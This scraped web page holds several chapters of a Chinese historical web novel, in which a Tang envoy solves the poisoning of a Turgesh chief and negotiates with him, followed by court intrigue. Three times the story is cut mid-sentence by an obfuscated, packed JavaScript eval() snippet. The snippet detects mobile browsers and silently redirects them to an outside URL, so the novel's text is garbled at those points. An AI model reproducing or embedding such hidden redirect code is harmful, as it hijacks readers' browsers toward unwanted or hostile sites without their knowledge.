娑葛无奈地坐到了屋中的地上,端起酒杯喝了一口:“有这样一条毒蛇藏在我父亲的牙帐里,我们却无法找到此人是谁。一想到我还要和这些人朝夕相处,言笑晏晏,我就觉得恶心。洛公子,你真的一点办法也没有了吗?” “娑葛首领,我只是大唐的使臣,我既无权讯问你牙帐中任何一人,也无权搜查任何一座营帐。我不能凭空猜想线索,只能给你做个旁证……”洛北半蹲下身,凑近娑葛,以平和冷静的语气陈述事实:“自三日前我在牙帐中住下,乌质勒首领手下有四个人来找过我打探情况,第一个是你的弟弟遮弩,第二个是首领的卫队长苏禄将军,第三个是首领的近臣康孝哲,第四个……也是刚刚来找到我的,是大将军阿史那忠节。” “是他们……”娑葛痛苦地低下头,“洛司马,这四人在我突骑施内部素有声望,手上握有兵马,如果没有确凿的证据,我们不能动他们,甚至连怀疑他们的意思都不能有。否则稍有不慎,我突骑施便会内乱。” 洛北没有对他的回答感到意外:“我也是这么认为的。而且……这四人的手下都有一批人可以为他们效死。他们若要毒害乌质勒首领,绝不会亲自动手。” 娑葛不得不又陷入一片痛苦的沉思。 洛北不急着打扰他——他太熟悉草原上这些自鸣得意的首领们的思维习惯来了,深知贸然开口只会引起他们不必要的警觉,他在等娑葛自己开口把要求提出来。 终于,娑葛抬头望向他:“洛司马……我委托你全权调查此案,你可以任意讯问牙帐中任何一人,也可以随意搜查任意一座营帐,我只求你尽快把此人找到!” 洛北苦笑道:“娑葛首领,不是我不愿意帮你这个忙,只是我身着唐人的公服在牙帐中贸然行事,恐怕只会引起怀疑。” “我给你我的令牌!”娑葛从腰间扯下一块金质腰牌,“这是我调兵的令牌,凡见此牌者,如我亲临。洛司马……在这座牙帐中,我能信任的只有你了!” “既然如此。”洛北躬身下拜,“微臣必不辱使命。三日之内,一定出个结果。” 85. 第 85 章 三日之后,天未大亮,牙帐外就围满了前来询问此案结果的突骑施贵胄。为首的自然是阿史那忠节、康孝哲、遮弩三人,他们各着华服,腰挎刀剑,围在牙帐前,竟有几番“逼宫”的架势。 娑葛听闻下属消息,匆匆从自己居住的营帐中赶了过来:“吵嚷什么?” 遮弩见他来了,头一个开口和他告状:“大哥,你为什么委托那个唐人的官员替你查案?他仗着你的势,这些日子在部族之中到处找人问话,简直是无法无天。” “不错,他还搜查我存放货物的库房。”康孝哲道,“我的守卫阻拦,却被他以您的名义挡了回去。” “这么说,他倒是没有来搅扰我。”阿史那忠节道,“但我派属下查到了他的底细。他本是大唐派在鸣沙对抗默啜的县令,武功高强,骑射无双,曾一箭将身着重甲的默啜射落马下。大唐派这样一个人出使突骑施,到底想干什么?!” “这我倒是第一次听说。”娑葛暗暗有些心惊,凭他给的那块调兵腰牌,洛北可以调动突骑施内所有的军队——若是他真的是个沙场宿将,他岂不是白白地把军队都交给了唐人? 遮弩声音里带着几分痛心疾首:“大哥,我看你是被那个小子做出来的模样骗了。如今我听说他率人离开了牙帐,不知道去了哪里,也不知道何时才能回来,他要是带着你的腰牌去联络僻属的那些部族,让他们起兵反对我们怎么办?” 娑葛虽然迟疑,倒也没有被他们这番七嘴八舌的话语打乱了阵脚,他摇了摇头:“若是真的要借兵,大唐安西都护郭元振不就在碎叶城吗?他干嘛舍近求远呢?” “大哥——”遮弩还要说什么。苏禄却从牙帐中走了出来,他看了一眼众人,又拱手对娑葛道礼:“首领有命,命大家都进去等待。” “苏禄大哥。”遮弩忙抓住了他的衣袖,“你来的最早,你可把情况和首领说了?” “说了。”苏禄脸上也是迷惑不解的神色,“但首领只叫我把你们叫进来,其他什么话都没有说。几位,和我一起进去吧。” 众人踏进牙帐之中,乌质勒已经穿好一身锦袍,坐在牙床上等着众人。他脸上犹有病容,半坐半歪在一只大大的圆枕上,看着众人。 乌质勒在突骑施部积威甚重,刚刚还喋喋不休的遮弩等人,一见他模样,都闭口不言,垂手听训。娑葛越众而上,躬身在他面前道了个礼:“父亲。” “事情我都知道了。”乌质勒声音不大,却有一股威严在,“娑葛,这件事情上,你有做的不对的地方。洛司马奉大唐皇帝的命令出使我部,是上国使臣,你怎么能拿这样的事情去搅扰他?” “是。”娑葛低声应了。 乌质勒又以威严的目光扫了一遍帐中众人:“至于其他的事情,我问问你们,洛司马除了询问族人情况、查验仓库等之外,还做了什么别的事情没有?” 众人面面相觑,谁也没有说出半个字。 “这么说,他虽然受托查案,但没有抓过人,没有使用过刑讯,也没有当面冲撞过你们,更没有向你们索要过财产和奴婢,是不是?”乌质勒问。 被他的目光一扫,帐中众人都低下眼睛,不敢说话。只有遮弩仗着是他的小儿子,低头道了声:“是。” “那询问、搜查,都是查案的必要程序,人家有什么过错?让你们大清早地跑到我的牙帐里来告状?!”乌质勒厉声喝道。 这下子彻底没有人敢答话了。 阿史那忠节见众人都沉默不语,只得抬头道:“可是首领,他确实是......” “不错,此人确实武功高强,战功赫赫。可是你的手下打听到的消息不够全面。你可知道,在他前往鸣沙之前,他是大唐的兵部员外郎,参与和吐蕃的谈判,并因此升任职方司郎中。”乌质勒道,“大唐要和我们谈判,把他派来,是不是再正常不过了?” 阿史那忠节也低下了头,不敢再说话了。 乌质勒把众人都打压下去,这才把语气放缓和了些:“娑葛,你当初派他查案的时候,可曾和他约定过时限?” “洛司马曾向我承诺,三日之内,必有回音。今天正是第三日。” “那我们就等到日落,看看他到底能不能把此案破解。”乌质勒挥了挥手,示意侍从端上矮桌和圆榻:“你们都坐下吧,吃点喝点,慢慢地等。” 这些人哪有半点胃口,只是坐在那里,各个望眼欲穿地盯着牙帐外,恨不得把外头的晴天盯出个洞来。 天色大亮的时候,阵阵马蹄声终于从外头传了进来。娑葛掩饰不住心中的激动,快步走到帐外,只见洛北一袭灰蓝便装,骑着一匹高头大马,带着一队人马从帐外奔了进来。 洛北见娑葛等在牙帐外,心中猜到突骑施内部的暗流涌动已经来到了明面上。他跳下马来,躬身要向娑葛道礼。 娑葛哪里还顾得上礼仪不礼仪,一把抓住他的手,急急地问道:“洛司马,案子可有结果了吗?” “有。”洛北点了点头,“我这就回帐,更衣之后再向您禀报......” “来不及了,我的洛司马。”娑葛听到了一个“有”字,可谓是喜形于色,“别更衣了,就穿这件吧,挺好的,整个牙帐的人都等了你一个早上了,你要是再不来,我可就真的顶不住了。” 他不由分说地抓着洛北,带他进了牙帐。 牙帐中的一众人等都立刻把目光盯在了洛北身上。洛北却恍然不觉,不疾不徐地道了礼:“见过乌质勒首领。” 乌质勒见他进来,立刻从牙床上走了下来,双手扶起了他:“洛司马对我有救命之恩,我还未曾答谢。我的这个孩子不懂事,竟差你为他跑腿,是我的不是。还请洛司马当面恕罪。” “首领言重了。”洛北微微一笑,扶他坐回上首,自己则立在牙帐中,“首领被下毒的始末,我已经全部都弄明白了,还请首领允许我在牙帐之中一一道来。” 乌质勒叹了口气:“洛司马请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281707|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲。” “自首领中毒之后,娑葛首领已将首领的饮食、身边的仆役察查一毕,没有半点可疑之处。”洛北道,“于是,我只能另辟蹊径,将附近十四个营帐中人都询问了一遍。我问他们的问题只有一个:今年与往年有什么不同。” 突骑施人以游牧为生,夏季驻扎在碎叶城以西的千泉城附近,冬季来到碎叶城过冬,这样的惯例已非一年。洛北这样询问,虽说有些泛泛,但也是一个寻找突破口的好方案。乌质勒暗自在心底点了点头,又问道:“可有什么发现?” “其实生活中多的是枯燥无味的琐事,要说不同,这些小贵族和牧民们觉得最大的不同,便是今年的冬季来得比往年早得多。所以,他们迁往碎叶城的时间,也比往年早得多。” “这其中最值得我注意的,是有两个负责贸易的小官和我说,正因今年的冬天来得早,往年几个秋日便到访千泉城的商队不得不改换路途,到碎叶城来完成贸易。”洛北道,“所以,我就循着他们的描述,去查验了这几个商队寄存货物的仓库,将货单和商品一一比对。这些商队是康孝哲的属下,这货单我想你也见过。” 洛北说罢,从袖中抽出几张货单,递到了乌质勒的手上。 乌质勒看了看货单,却没有觉得这是什么问题:“孝哲是粟特人,一直为我的这些牧民们操持贸易,我们的不少东西都是从康都督那里来的,他有货物存放在仓库之中,不是最正常不过了吗?” “是,牧民们在草原上过冬,时常缺乏必要的生活物资,囤积一些也没有什么不对。”洛北点了点头,“可这张单子上,除了生活物资之外,还有珠宝首饰、金银绸缎,这些东西,我却没有在仓库中看到。后来,我用了点小小的诈术,才从看守仓库的守卫那里知道,这些东西都被遮弩首领拿走了。” 乌质勒立刻看向遮弩:“此事当真?” 遮弩忙挥手道:“不,不,不。绝无此事,父亲,你不要听信这个唐人的诬陷,他是在诬陷儿子啊。” 洛北忍不住笑了:“遮弩首领,否认之前,你是否应当先把你腰上系的那只镶嵌宝石和金银的玉带拿下来呢?这上面雕的海葡萄纹样,可是今年才流行起来的图案啊。” 乌质勒冷哼一声,将货单重重地拍在一边的扶手上:“还不快从实招来!” 遮弩跪倒在地:“父亲,是儿子一时糊涂,儿子本来也想出钱购买,只是,只是一时囊中羞涩,没有转圜开来,才先拿后买。我回去之后立刻将钱给康孝哲补上。” “这些东西遮弩首领也没有都拉到自己家里去。他使用这些东西打点在牙帐中的各位贵胄,其中,也包括您,乌质勒首领。”洛北道,“我曾在您帐中见过一套金银项链和头冠,这些东西,也在这几张货单上。” 乌质勒也想起了此事:“我说怎么平白无故地送了我一套首饰,我还以为是你这个当儿子的终于晓得孝敬父亲,原来是到我这里销赃来了?你说,你到底能干什么?!” 86. 第 86 章 遮弩一下子跪倒在地,苏禄和康孝哲也是满面尴尬。只是乌质勒盛怒如此,他们不敢为遮弩求情。 洛北轻声道:“乌质勒首领,您大病初愈,还是不要生气的好。而且,您被下毒之事,也和这套首饰有关。” 他从袖中抽出一条项链,示意仆下牵来一只小狗,伸手摸了摸宝石,又放到酒杯中搅和了一下,把酒杯中的水酒喂给小狗舔了舔那项链的宝石。片刻之后,小狗竟口吐白沫,倒在了地上。 娑葛不敢置信地看着自己这个弟弟:“遮弩,你竟敢谋害父亲,你疯了不成!” “冤枉,我冤枉!”遮弩急得鼻涕眼泪一起流了出来,“我绝对不敢起这样的心思,冤枉啊!” “娑葛首领,倘若遮弩首领真的是凶手,他今日就不会系着这条玉带招摇过市了。”洛北道:“这毒药设计得十分精巧,只有同酒一起服用才会起效。也就是说,只要用手摸过毒药,又摸了酒杯,就有可能会中此毒。而除却这条项链之外,我还检查了其他留存在库中的首饰,几样贵重的首饰上,都沾染了毒物,我想,这条玉带也不会例外。” 遮弩吓得一跳,当即把那条玉带也丢在了地上。他这一动,牙帐中收过遮弩东西的贵胄都觉得不自在了起来。苏禄当场摘下手上的两只手镯,阿史那忠节取下了一枚扳指。 娑葛望着他们,这才知道为什么他们不愿意洛北这个外人前来查案,只得重重地摇了摇头。 乌质勒道:“既然如此,这毒就不会是我这愚蠢的小儿子下的。现在嫌疑最大的,变成了康孝哲。”他眯了眯眼,似是有些伤心,又有些不敢置信地望着康孝哲:“孝哲,你在牙帐跟我,十五年了吧?只是因为我不答应你们粟特人出兵救援的请求,你就要毒杀我,还有我身边的这群老兄弟们吗?” “首领,我冤枉啊。”康孝哲也坐不住了,扑通一声跪倒在地上,“我只是受命于遮弩王子采买了些金银首饰,供他行贿使用,我绝没有毒害众位将军的想法。我冤枉啊。” 洛北道:“实不相瞒,我也想过这样的可能。但我又转念一想,倘若真的康孝哲出手毒杀众人,怎么会露出仓库和货单这么大的纰漏?要知道,康孝哲手下商队足有七八支,足迹遍布大江南北,伪造货单,找地方另外囤积这些货物,都是最简单不过的事情。” 康孝哲没想到他会为自己说法,抬头惊讶地望着洛北。 乌质勒却笑了:“洛北,你说送出珠宝的遮弩不是凶手,采买珠宝的康孝哲不是凶手,那还有谁会是凶手?娑葛?苏禄?还是我自己?” 洛北也笑了:“查到商队这个线索之后,我便顺藤摸瓜,要来了碎叶城沿途道路的数个关卡的出入关记录,其中只有一个人,到过突骑施牙帐之后,便再也没有了踪迹。这个人叫做乔山,在通关文牒上记录,他是个来自毕国的粟特商人。” 康孝哲想起了这个人:“乔山,我记得,高高的,棕色头发,胡子卷曲,很会跳胡旋舞的那个。是不是?” “不错,正是此人。”洛北点了点头,“近来大雪封山,我断定他绝不能通过野外离开此地。但他依旧可能改换名姓,跟着其他的商队离开碎叶城。所以,我抱着侥幸的想法,请郭都护遍查了碎叶城中的大小客栈、酒肆。” “好在我运气不错,此人竟堂而皇之地住在碎叶城最大的客栈之中,他昨天半夜才回到客栈,被我的人一举擒获,带到众位面前。”洛北说完,向帐外命道:“巴彦,你把他押进来吧!” 巴彦迈着大步,像提溜小鸡似的提溜进来一个高高瘦瘦的粟特人,他被巴彦丢在地上,瑟瑟发抖地缩成一团:“我什么都不知道,什么都不知道,你们想干什么?” “好了乔山,不要演戏了。”洛北接过巴彦递来的一个包裹,从中摸出一个瓷瓶:“你以为你的计划天衣无缝,甚至连下毒的瓷瓶都放在包里,没有丢弃。倘若你真的觉得自己冤枉,不妨把这瓷瓶中的东西和着酒一起喝下去!” 他话音未落,娑葛已经大步上前,一把夺过瓷瓶,将半瓶粉末都倒进了酒中:“洛司马,这等凶徒你还同他废话什么。”他抓过乔山的领子,作势要把酒给他灌下去:“来!喝!” “哈哈哈哈哈哈。”那乔山忽而爆发出一阵大笑,“谁能想到,一个唐人使臣,竟然心细如发至此。落到你们的手上,是我命数如此。只恨我没有办法为我毕国死难的亲人报仇了!” 他说罢,竟夺过酒杯,要一饮而尽。洛北眼疾手快,打落了他手中的酒杯,一把将他的手臂折到身后:“想死,恐怕没有那么容易。把你知道的事情从实招来,你到底是受谁的委托?!” “没有人委托。如果有,就是我已经在天上的兄弟姐妹。”乔山求死不得,伏在地上,哀哀痛哭了起来,“伟大的祆神啊,你为什么不让我去见他们,为什么?!” 他哭得牙帐众人都心生哀戚。康孝哲更是低头不语,他翻过来覆过去地摆弄手中的一只荷包,不住地咽着吐沫。 洛北见状,干脆换了粟特话同乔山说话:“我是大唐安西都护府司马,姓洛,单名一个北字。你到底有什么冤屈,从实招来,我可以考虑放过你的性命。” “放过我的性命......祆神在上,我的性命留着有什么用处?”乔山苦笑着用突厥话答他,“我们毕国已经被大食攻击数年了,我们曾经向大唐求援,大唐没有理睬我们。我们说,是啊,大唐的军队已经离开西域很久了。我们也很久没有向大唐的皇帝赠送礼物。他们不理睬我们,是应该的。” 他说着,不禁落下泪来:“可是突骑施人呢?可是你乌质勒和康孝哲呢?为了请求你们的军队保护我们的安全,我们一而再,再而三地将国中的宝物赠给你们。我们请求你们,祈求你们来保护我们的安全。但我们一匹马,一个人都没有见到。你们就是这样对待我们的吗?!” 他哭得肝胆欲裂,乌质勒也不禁为之动容:“当时毕国向我求援,我虽口中答应,却碍于部族之中事务繁多,未能出兵。如今事务已毕,不知毕国现在如何了?” “毕国已于三月之前陷落于大食总管屈底波之手。”乔山道,“城中的所有粟特商人都被要求付出与自己体重等重的黄金,才能离开。我的几个叔伯兄弟把他们的黄金都给了我,自己却死在大食人的屠刀之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281708|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。我们城中,只有三十个人活下来,剩下的,都死了。” 这等惨剧,即使是在鲜血与劫掠频发的草原上,也是极为少见。乌质勒面容严肃,苏禄脸上已是怒不可遏,娑葛和遮弩对视一眼,都把目光投向他们的父亲。 唯有康孝哲忍不住痛哭出声:“是我对不起毕国的父老乡亲.......” “我活着来到这里,就是为了复仇。”乔山叹了口气,“可惜,我的愿望再也不可能达成了。”他说罢,竟猛然挣开巴彦的手,一头撞在牙帐中的立柱上,当场没了气息。 “公子,我.......”巴彦错愕地抬起头,看着洛北。 洛北摆了摆手:“没事,不是你的错。” 他这番温言,听在牙帐众人耳中显得分外讽刺。娑葛反应过来,低声对洛北道:“实在是抱歉,叫洛司马看了笑话。司马操劳多日,想来还没有好好休息过,我这就送您回营帐沐浴更衣,好好休息一番。” 洛北也知道他们尴尬,低头应允:“我的这些随从,还请娑葛首领帮忙安置。” 娑葛连忙答应:“这是当然,这是当然。” 他们走出牙帐。洛北才半是好奇,半是询问地开口:“毕国和大食的战事,究竟是怎么回事,娑葛首领可否与我解惑?” 娑葛道:“是这样,大食吞并波斯之后,一直对富庶的昭武九姓之地虎视眈眈。毕国地处最西,靠近乌浒水,一直受到大食军队的越河侵扰。毕国的这些粟特人屡屡通过康孝哲向我父亲求救,我父亲答应过,但却一直受困于西域局势,不能出兵。如今,毕国陷落,他们的遗民前来复仇......真是惨剧啊。” “是这样。”洛北在做乌特特勤时,了解过乌浒水附近的局势,大食吞并波斯以来,确有东侵之心。但只是侵扰,如此大举进犯,他还是第一次听说。 但凡久掌情报之人,都会对这样脱出自己掌控的情况焦躁万分。洛北也不例外,他虚应几句,送走娑葛,立刻下了决心,叫来随行前来的一位亲兵,命他将一只银筒递了出去——他一定要知道大食那边,到底出了什么变化。 洛北在突骑施的营帐中休息了一日一夜,第二日清晨,他来到牙帐,向乌质勒辞行:“乌质勒首领既然已经康复,下毒之事也水落石出,我实在不能再在此地搅扰,还请乌质勒首领准许我回碎叶城,向郭都护复命。” “此番事情,全赖洛司马才得以解决。”乌质勒道,“我正要款待司马几日,以示我谢意。没想到洛司马竟急着要走。洛司马,今日牙帐只有你我,我们权作闲谈,你可否对我说几句真话?” 洛北不知道他葫芦里到底卖的什么药,只望向了乌质勒:“不知道首领要问我什么?” 乌质勒见他紧张,不由得一笑:“我要问的与大唐机密无关,只是想问问你,你对我这个儿子娑葛,有什么看法?” “父子家事,恐怕不是我这个外人应该置喙的。”洛北道。 乌质勒径自望着他,只见他一张英俊面容全无半点波澜,只有一双琥珀眼眸在光照下璀璨如金,不由得轻轻一笑:“洛公子,你不是汉人吧?” 87. 第 87 章 “哦?乌质勒首领何出此言?”洛北依旧是一副平静神情,看不出半点异样。 他这反应在乌质勒意料之中,乌质勒别过头去,拿起手边的一块牛乳酥糕塞进了嘴里:“很多东西……相貌、身手、行事的风格,但最暴露的一点,却是口音。” 他嚼了几下,将口中的糕饼咽了下去,复又看着洛北:“自土门大汗与室点密大汗分治东西突厥以来,东西突厥交流日少,口音各有不同。但因东突厥毗邻中原,与中原往来甚多,几乎所有汉人学的突厥话都是东边的口音……只有你,洛公子,你说的突厥话与我突骑施人同出一源,是西突厥的口音。” 洛北报以短暂的沉默不语,他知道自己有好几个理由可以搪塞过去,比如他曾经在凉州担任过数年录事参军,每日在关卡上听着各色口音来来去去,能任意切出任何一种口音来和人对话。但他更好奇乌质勒说这些话背后的目的: “我是庭州的兴昔亡可汗、北庭都护阿史那献将军的族亲。” 乌质勒似乎没有为这样的回答感到意外,他坐直了身体,又从上到下,从下到上地打量了洛北一番:“兴昔亡可汗家族噩运缠身了百年,竟然在年轻一代得到了祆神的赐福……前有乌特特勤,后有你。我真是羡慕阿史那献的好运气。” “首领会把此事告知郭都护吗?”洛北打断了他的自怨自艾,轻轻抛出了一块探路的石子。 乌质勒摇了摇头:“汉人们说,亲疏远近,内外有别。我是外藩首领,你是正儿八经的大唐使臣……我告诉郭元振,他的第一反应也只会是怀疑我有什么居心,我不会干这样的事情。” 洛北在心底冷笑了一声:这个乌质勒倒还不算太蠢,面上却不表,只是望着乌质勒,等他把话说下去。 “汉人还有一句话,叫‘父母之爱子,为之计深远。’”乌质勒道,“我可以不再对第三个人提起此事,也可以接受你们大唐开出的一切苛刻条件:我不要碎叶城,不要可汗称号,接受你们给的郡王爵位和都督称号,甚至可以归顺在阿史那献麾下,听他的调度。但我有两个要求。” 洛北点了点头:“请讲。” “第一个要求是阿史那忠节必须离开西域,去长安为皇帝宿卫宫禁。”乌质勒道,“他野心勃勃,做梦都想恢复昔年西突厥的荣光,但能力不足,有他在,西域的和平迟早有被打破的一日。” 自贞观年间以来,无数被征服的异族贵胄丢下部族和军队,只带着家人去长安为皇帝宿卫宫禁。他们中的大部分人都在长安过上了锦衣玉食的生活,再也不去想过往那些称王称霸的如烟往事,心甘情愿地做起了大唐的臣子。 洛北知道阿史那忠节的为人:“我可以答应,但忠节将军麾下的兵马和部族不能归娑葛统领。” 否则娑葛就会一人坐拥突骑施和胡禄屋的两部势力,对大唐在西域的经营是个极大的威胁。 “胡禄屋部连忠节都未必信服,何况我那个儿子娑葛呢?”乌质勒笑了,“就是交给他,他也没有管好的本事。按照大唐朝廷的规章制度,那个时候他们都会是阿史那献的属下,这样的问题,就交给你家伯克去头疼好了。” 洛北知道他这话言下之意是已经默认把阿史那忠节的部族和兵马交给阿史那献:“另外一个要求呢?” 乌质勒苦笑了一声:“另一个要求,和我这儿子娑葛有关。” 他说着,扶着牙床颤颤巍巍地站起身: “洛公子,我今年已经年过六十,戎马半生,伤病缠身,此刻又遭人下毒,虽得你妙手回春,我又还能活多久?一年,两年?这些年,我只顾着打仗,疏于对子孙和部下的管教,他们迟早会在冲动和别人的蛊惑下酿成大祸……” 他双膝一弯,跪倒在地:“我求公子,到时候看在我今日的退让份上,宽恕娑葛的一条性命,为我的家族留下一点血脉。” 洛北望着他,知道他既然只说“洛公子”而不称“洛司马”,便只是要得到洛北的承诺——不是大唐,不是安西都护府,只是洛北自己。 “我答应你。”洛北低声应他。 乌质勒长长地舒了一口气,在他面前一揖到地,行完了这个毕恭毕敬的大礼。他挥开洛北搀扶的双手,依旧是自己颤颤巍巍地站起了身,坐回了牙床上:“洛公子放心,凡我在一日,就会约束子侄和部下,教他们忠心为大唐做事。但愿祆神保佑,我刚刚的要求不会实现。” 洛北不好答话,只得躬身道礼:“我立刻返回碎叶城,将首领的诚意转告郭都护。” 乌质勒挥了挥手,让他离开牙帐,自己则坐在一片昏暗之中,静默不语。 洛北的马队离开所激起的烟尘散去不久,几个突骑施的仆妇奉命进入他所居住的那座营帐打扫。屋内窗明几净,处处整洁,只有一处毡毯下有些不平。她们大着胆子,掀开毡毯一看,险些被扑面而来的珠光宝气闪瞎了眼。 “这又是谁送的礼?莫不是还是遮弩吧?” 珠宝被送到乌质勒的牙帐,大大咧咧地摆在众人面前。乌质勒看了看,认出这些东西并非凡品,笑着调侃了遮弩一句。 遮弩苦笑一声:“父亲不要拿我取笑了,我送礼是为了请一众首领行个方便,多分我些部族兵马和金银财宝。我行贿大唐使臣做什么?” 娑葛拱手道礼:“父亲,这是我送的。父亲昨日教训的是,他对父亲有救命之恩,我们未曾答谢,我又委托他代为查案,确实搅扰。所以送上些金银以答他恩情。” 他苦笑着挠了挠头:“没想到他当着我的面收了下来,却又把这些东西留在了这里。” 乌质勒深深地叹息了一声:“你把他看得太简单了。他所谋者大,不在这些东西上。”他看向众人: “你们记住,此人若在西域,你们不许与他争锋,你们不是他的对手。” 碎叶城中,郭元振和解琬正在衙署花园的葡萄藤下弈棋。棋盘上黑白纵横,一条黑龙盘旋白云之中——此刻战况胶着,隐约是执黑的解琬占了上风。 郭元振拿着白子,望着棋局,口中却问出了一句不相干的话:“解大夫,洛北这个人,你怎么看?” “元振兄,当年是你在凉州讨了他的性命,不让我把他交于长安处置。又是你与他朝夕相处,将他从小小队正擢为凉州参军,带他走入仕途。怎么今天突然问起我来了?” 郭元振干笑了一声,脸上忧虑不减:“当年在凉州问你讨人,是因为我需要一个熟悉边地局势的情报官。他当时走投无路,无人可依,又精通边事,是最好的人选。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281709|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “至于把他从队正擢为参军,是因为当时他在玉门关外孤骑救下了继往绝可汗阿史那斛瑟罗。若按照朝廷的惯例,让他在军队中升迁,用不了几年,他就会成为手上握有军队的将领。”郭元振道,“我不敢冒这个风险,只好把他调到自己身边。” 解琬拿着棋子敲了敲棋盘:“依我看,你和洛北的合作并不像你说的那样,只有利用。且不说洛北才能出众,志虑忠纯,是个值得托付的青年,也不说你和他在凉州的相处,就说神龙元年,他受诬下狱,你千里迢迢地上书为他求情,文辞恳切,连圣上也为之动容,仅此一件,便可管中窥豹。” 郭元振叹了口气:“莫说是他这样得力的下属,就是养只猫,种棵树,这么些年,也是有感情的。我现在宁愿他只是并州的平民洛北,可惜,他本姓阿史那,是曾在突厥牙帐里呼风唤雨的乌特特勤。” 解琬奇道:“元振兄,我大唐自太宗皇帝起,任用的突厥贵胄数不胜数。当年的毕国公阿史那社尔、凉国公契苾何力、安国公执失思力等不说,就连他的父亲阿史那献,虽然屡遭陷害,但依旧忠贞不二。你为什么非抓着洛北的身份不放呢?” “因为我在碎叶城外的牧民家,发现了这个。”郭元振从袖中抽出一面旗帜,通体纯黑,唯有一只金线所绣的飞鹰图腾凌驾其上:“黑底旗,金飞鹰,这是乌特特勤的旗帜。这些人把这面旗帜供奉在家里的神龛上,把他视作祆神的化身。” 解琬哑然失笑:“这有什么稀奇,这些边陲牧民生活困苦,大概是从传说听到了这个名字,就把他作为守护神来崇拜。这不是洛北能控制的。你不是也被编排到民间传说里了吗?”他定定地望着老友:“元振兄,你到底在担心什么?” 郭元振深深地叹息了一声:“我不是在担心他,我是在担心我自己。当时他在突骑施牙帐慷慨陈词,我心底的热切也被他调动起来。你想想吧,匡扶大唐在西域的秩序,重新竖立大唐的威望......多伟大的事业啊,若非忠心为大唐考虑,绝无可能提出此等建议。” 解琬颔首:“这不正能说明他忠心耿耿,有心怀天下之志吗?” “是啊,但是我又想,我只在一处帐篷里中发现了这面旗帜,西域供奉这面旗帜的牧民又有多少?”郭元振道,“只要洛北振臂一呼,恢复旧日身份,立刻就可以在西域自立为王。这大概也是为什么默啜知其才能,却始终不肯任用他西征的原因。” 解琬哈哈大笑:“元振兄,你是担心自己太信任他了,是吗?” 郭元振被说破心思,只得拿着棋子佯装看棋盘,奈何棋局复杂,他一时半刻也没想出下一子该落在何处,越发显得自己窘迫起来。 “你不是给了他十日时间吗?不如再耐心等等。”解琬道,“如今他带着亲兵在突骑施牙帐,若是想要自立,大可以一去不回。但如若他不仅回来,还带着有利于大唐的盟约——” 他话音未落,外面马蹄声声,打破了他们的谈话。郭元振起身走出门外,虽然神情镇定如常,手下却险些打翻了棋盘。 解琬笑道:“郭都护还是比不过当年的谢安石。” “我只是一个俗人,比不过谢安名士风流。”郭元振一笑,抬手示意洛北不必多礼:“突骑施情况如何?” 88. 第 88 章 突骑施被招抚的消息传回长安时,神龙二年已经悄然在冬雪中走到了尽头。人人忙着过年事宜的宫廷之中,这个消息好像在水面上丢下了一枚石子,立刻激起一阵激动的涟漪。 颠沛流离半生,终于重掌大权的皇帝李显被这消息带入了一片飘飘然的状态中,他登基两年以来,与吐蕃会盟,击溃突厥入侵,如今又招抚了西域桀骜不驯的突骑施部族——不战而屈人之兵,这是何等的荣耀?何等的胜利? 武三思和他新近提拔上来的宰相宗楚客嗅觉最灵,立刻策动一批官员上表,赞颂李显威服四海,万邦归服,功绩之盛甚至超过了祖父太宗皇帝。 “真是荒唐。”白雪掩映,绿树成荫的东宫之中,李重俊和裴伷先讨论他的父皇,“他怎么敢与太宗皇帝相比?太宗皇帝少年从军,持三尺剑平定天下。他日日宴饮,沉醉于长安的醇酒美人之中,也敢说自己能与太宗皇帝相比吗?” 裴伷先在一边暗自苦笑,从他的角度来看,比起太宗李世民,皇帝李显更像是他自己的父亲高宗李治。他表面温懦,内心却谙熟权术。他依靠韦皇后,便是对自己父母相处模式的拙劣效仿。 但这话不该由臣子来说,更不应该由儿子来说。 “殿下。”裴伷先平静地打断了李重俊的话,“此非子论父之道,您还是不要再提起了。” “又是这样,你又是这样。”李重俊深深地叹了口气,“你能不能告诉我,我这样憋屈的日子还要过多久?难道我就这样在家里闭门谢客,直到武三思把刀架在我的脖子上为止?我也是太宗皇帝的子孙,我绝不这样坐以待毙!” 裴伷先深深地叹了口气。他知道,自五王贬斥出京,李重俊的日子也一日难过一日。武三思不断地把武家人派到东宫担任太子的属官,名为属官,实为监视。安乐公主仗着父母的宠爱,甚至数次要求李显立“皇太女”。她与李重俊会面时,既不叫他兄长,也不叫他太子——而是轻蔑地称呼他为“老奴”。 李重俊咬了咬牙,发狠道:“倘若把我逼急了,我就带兵杀入宫禁,把这些小人都杀个干净!” 